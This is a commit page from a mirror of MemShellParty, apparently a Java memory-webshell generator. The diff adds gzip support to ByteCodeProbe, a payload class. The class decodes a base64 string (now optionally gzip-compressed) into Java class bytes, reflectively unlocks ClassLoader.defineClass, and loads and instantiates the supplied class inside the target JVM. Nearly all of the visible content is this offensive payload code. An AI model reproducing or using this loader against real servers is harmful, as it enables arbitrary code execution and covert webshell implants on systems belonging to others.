archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-25 00:11:52 +08:00
Code Issues Actions 4 Packages Projects Releases Wiki Activity

feat: bytecode probe support gzip

Browse Source
This commit is contained in:
ReaJason
2025-12-06 14:14:16 +08:00
parent b364212312
commit a278e9bef8
1 changed files with 24 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java
+24 -4
View File
@@ -3,9 +3,10 @@ package com.reajason.javaweb.probe.payload;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.URL; import java.util.zip.GZIPInputStream;
import java.net.URLClassLoader;
/** /**
* @author ReaJason * @author ReaJason
@@ -24,7 +25,8 @@ public class ByteCodeProbe {
Class<?> decoderClass; Class<?> decoderClass;
byte[] classBytes; byte[] classBytes;
String base64 = data; String base64 = data;
if (!data.startsWith("yv66vgAAAD")) { boolean gzip = data.startsWith("H4s");
if (!gzip && !data.startsWith("yv66vgAAAD")) {
base64 = "yv66vgAAAD" + data; base64 = "yv66vgAAAD" + data;
} }
try { try {
@@ -35,9 +37,27 @@ public class ByteCodeProbe {
decoderClass = Class.forName("sun.misc.BASE64Decoder"); decoderClass = Class.forName("sun.misc.BASE64Decoder");
classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64); classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64);
} }
if (gzip) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(classBytes));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
classBytes = out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}), classBytes, 0, classBytes.length); Class<?> clazz = (Class<?>) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}, Thread.currentThread().getContextClassLoader()), classBytes, 0, classBytes.length);
return ret = clazz.newInstance().toString(); return ret = clazz.newInstance().toString();
} }